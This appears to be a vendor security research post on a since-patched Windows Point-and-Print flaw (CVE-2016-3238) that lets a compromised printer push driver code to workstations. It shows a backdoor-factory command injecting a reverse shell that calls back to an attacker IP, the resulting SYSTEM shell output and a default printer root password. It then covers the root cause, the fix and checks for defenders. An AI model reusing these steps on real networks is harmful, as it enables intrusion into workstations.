Printers present an interesting case in the world of Internet of Things (IoT), as they are very powerful hardware compared to most IoT devices, yet are not typically thought of as a “real” computer by most administrators. Over the years, many security researchers have studied and reported on printer vulnerabilities. However, the vast majority of this research focused on how to hack the printer itself in order to do things such as change the display on the printer or steal the documents that were printed. In this case, we investigate how to use the special role that printers have within most networks to actually infect end-user devices and extend the footprint of their attack within the network.
A summary of this analysis and video is available here.
To understand this issue, we need to understand a bit about Microsoft Web Point-and-Print Protocol (MS-WPRN) and why it works the way that it does.
Most organizations try to apply the principle of least privilege to the devices in their networks. This works pretty well for things like laptops or desktops since the hardware they use doesn’t change that often. However printers are a bit different. While they still need drivers, printers need to support virtually any user that wants to connect to them. As end-users move through a build, they naturally want to use the printer closest to them. Mobile users expect to be able to easily connect and use a printer when they come into the office. In addition, most organizations don’t standardize on a single printer, and will have multiple models and manufacturers often within a single network.
So instead of having system administrators push all possible printer drivers to all workstations in the network, the solution was to develop a way to deliver the driver to a user device right before the printer is used. And this is where Point-and-Print showed up. This approach stores a shared driver on the printer or print server, and only the users of that printer receive the driver that they need. At first glance, this is a practical and simple solution to driver deployment. The user gets access to the printer driver they need without requiring an administrator – a nice win-win.
The problem is that for this scheme to work nicely from an end-user perspective, an exception was required. Normally, User Account Controls are in place to warn or prevent a user from installing a new driver. To make printing easier, an exception was created to avoid this control. So in the end, we have a mechanism that allows downloading executables from a shared drive, and run them as system on a workstation without generating any warning on the user side. From an attacker perspective, this is almost too good to be true, and of course we had to give it a try.
In our case we are using a real printer. Since most printers are loaded with features, it was not too hard to find a bug that provided access to the underlying system. In this case, we were able to unpack a firmware update to gather some credentials and understand the file system layout. A binwalk magic file is provided in the Tools section at the end of this page, and after some digging we found the file related to those drivers. They need to be on a shared driver "print$" in smb, and typically include multiple flavors for various types of architecture (e.g. x86, x64, ppc, alpha). Look for directories named: W32X86, x64, IA64, color, etc.
We simply took the x86 dll file out of the printer, which can be done directly or through rpcclient, and patched it with "the-backdoor-factory".
./backdoor.py -f ~/Desktop/i386/hpygidUI15.dll -s reverse_shell_tcp_inline -P 6666 -H 192.168.1.135
This gave us back a dll file with an injected payload inside of it.
Putting the dll back in the original directory could be done in multiple ways. You can typically write back to the print$ share if you have domain admin credential. Alternatively, with local root access to the printer you can overwrite the existing file with the backdoored one we just created. It's still amazing that vendors leave the default hidden credentials on the machine. If it's not in your cracking dictionary, it's always good to add root:myroot just in case.
In our example we used a mix of Windows XP 32bit, Windows 7 32bit, Windows 7 64 bit, Windows 2008 R2 AD 64, Ubuntu CUPS, Windows 2008 R2 64 print server and an unnamed printer. For Windows 7 to work nicely with Point-and-Print, it needed to be configure on the Active Directory side and pushed as a policy. A bit more about it in the Internet Printing Protocol section below.
After doing the normal add printer with auto discovery and selecting our printer (with the backdoored dll), the windows system goes through the normal driver acquisition and installation process.
This stage allow installation of a printer driver without any user warning, uac or even binary signature verification, and all under the system rights.
This gave us the following on the msfconsole side:
[*] Started reverse TCP handler on 192.168.1.135:6666 [*] Starting the payload handler... [*] Encoded stage with x86/shikata_ga_nai [*] Sending encoded stage (267 bytes) to 192.168.1.109 [*] Command shell session 6 opened (192.168.1.135:6666 -> 192.168.1.109:49242) at 2016-04-15 21:33:00 -0400 Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>echo %USERDOMAIN%\%USERNAME% echo %USERDOMAIN%\%USERNAME% VN-TEST\WS-01-WIN7-32$ C:\Windows\system32>
Other Possible Vectors
Given the nature of this issue, there are many ways that the remote code execution can be used. In the example above, we reverse engineered a desktop printer, but the same driver loading feature could be achieved with a different software stack and used in different scenarios. Some of those include but are not limited to:
Infecting Remotely Using Internet Printing Protocol and web PointNPrint
So far we have constrained ourselves to an internal network where a device was either inserted or infected and used to further infect devices connecting to it. Microsoft Internet printing protocol (IPP) and web pointNprint allow us to extend this issue outside the intranet to the internet. Microsoft IPP allow for the same mechanism to load driver from the printer. This can be done with following piece of code from the MS print server.
........strShare = ObjCvt.DecodeUnicodeName ("HP~20Officejet~208040~20series")strServer = "192.168.1.3"....Function StartDownload strInstallURL = "http://" & strServer & "/printers/" & "printerName" & "/.printer?createexe&" & GetPlatform OleInstall.InstallPrinter "\\" & strServer & "\" & strShare, strInstallURLEnd Function....This url contain a file that is a ".webpnp" or webpointNprint.
Let's see the content of that nice 10MB binary file.
$binwalk ./8CD4X810.webpnpDECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 Microsoft Cabinet archive data, 9319731 bytes, 3 files7416560 0x712AF0 Zip archive data, at least v2.0 to extract, compressed size: 44391, uncompressed size: 67416, name: "Resources/GIL.TTF"-----------------------------Extracting the content..$ cabextract 8CD4X810.cabExtracting cabinet: 8CD4X810.cab extracting hpygid15.inf_x86_neutral_8d6ffe13b923feca.cab extracting cab_ipp.dat extracting 8CD4X810.bin
The content of the .dat file seems to be a list of argument for printui.dll
Short version of printui.dll help file for quick reference of what is happening.rundll32 printui.dll,PrintUIEntry /?/if => install printer using inf file/Q/b => base printer name/f => inf input file/r => port name/m => printer driver model name/n => printer name/a => binary file name $ cat cab_ipp.dat??/if/Q "hpygid15.inf_x86_neutral_8d6ffe13b923feca.cab"/b "\\http://192.168.1.3\HP Officejet 8040 series"/f "hpygid15.inf"/r "http://192.168.1.3/printers/HP~20Officejet~208040~20series/.printer"/m "HP Officejet 8040 series"/n "\\PRINTERSRV\HP Officejet 8040 series"/a "8CD4X810.bin" Extraction of the other cab in cab..$ cabextract -d temp hpygid15.inf_x86_neutral_8d6ffe13b923feca.cabExtracting cabinet: hpygid15.inf_x86_neutral_8d6ffe13b923feca.cab extracting temp/hpoj_8040.gpd extracting temp/hpygid15-pipelineconfig.xml extracting temp/hpygid15.cat extracting temp/hpygid15.inf extracting temp/hpygid15.ini extracting temp/hpygid15.PNF extracting temp/hpygidDataMap.xml extracting temp/hpygidMN15.gpd extracting temp/LOCALE.GPD extracting temp/MSXPSINC.GPD extracting temp/STDDTYPE.GDL extracting temp/STDNAMES.GPD extracting temp/STDSCHEM.GDL extracting temp/STDSCHMX.GDL extracting temp/V3/i386/hpbmtxr15.dll extracting temp/V3/i386/hpbuio.dll extracting temp/V3/i386/hpfime52.dll extracting temp/V3/i386/hpinkcoiDE11.dll extracting temp/V3/i386/hpinkinsDE11.exe extracting temp/V3/i386/hpinkstsDE11.dll extracting temp/V3/i386/hpinkstsDE11LM.dll extracting temp/V3/i386/hpUIMDDialog15.dll extracting temp/V3/i386/hpygiddrv15.dll extracting temp/V3/i386/hpygidres15.dll extracting temp/V3/i386/hpygidudm.dll extracting temp/V3/i386/hpygidUI15.dll extracting temp/V3/i386/mtxr.dll extracting temp/V3/i386/mxdwdrv.dll extracting temp/V3/i386/UNIDRV.DLL extracting temp/V3/i386/UNIDRV.HLP extracting temp/V3/i386/UNIDRVUI.DLL extracting temp/V3/i386/UNIRES.DLL extracting temp/V3/i386/xpssvcs.dll extracting temp/XP_hpygid15-pipelineconfig.xml
This is where the files that are going to be loaded reside. The files thatwe patched from the previous attack ran just as well whetherdelivered through smb,Point-and-Print, or under webpnp.
Root Cause of the Issue
Tracing the issue brings us to a ntprint.dll library, specifically around the function "PSetupDownloadAndInstallLegacyDriver". Specifically thisis the function responsible for checking the policy and performing the installation with elevated privilege.
While there are valid deployment reasons to want to allow driver install without administrator rights, a warning should probably always be enabled and binary signature should probably always be checked in an attempt to reduce the attack surface.
Vectra and Microsoft collaborated during the investigation of this issue, and Microsoft has delivered a fix forCVE-2016-3238 (MS16-087), andCVE-2016-3239as part ofSecurity Bulletin MS16-087, which is available here.
The behavior of Point-and-Print can be defined with GPO to a level of granularity that should give admin control of the risk. While it's possible to disable Point-and-Print or to add a warning and request UAC, this just brings us back the first problem of how to manage the drivers so the user could install the driver without having to contact IT every time.
Microsoft provides the needed documentation at ,, and development of enhancedPoint-and-Print(v4), attempts to remediate some of these issues. Migrating to a printer supporting the newest version of the protocol and newer version of windows could minimize a portion of the attack surface. We have not reviewed the security features of v4 / enhanced Point-and-Print further than their specification at this point, however backward compatibility might render those effort moot.
Checking Your Networks
Host registry for enablingPoint-and-Print
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint Restricted registry key TrustedServers registry key ServerList registry key InForest registry key NoWarningNoElevationOnInstall registry key UpdatePromptSettings registry key
Scanning your network for Point n Print driver
nmap 192.168.1.0/24 -p 445 --script smb-enum-shares-----------------------------------------------------------------------------------------
Nicolas Beauchesne is a security research distinguished engineer at Vectra where he is navigating the gray zone between offense and defense and finding the sweet spot where to apply AI and ML to previously unsolvable security issues. Previously he was a lead reverser and penetration tester at Juniper and PwC. Nicolas is dreaming of electric sheep and whispering packets.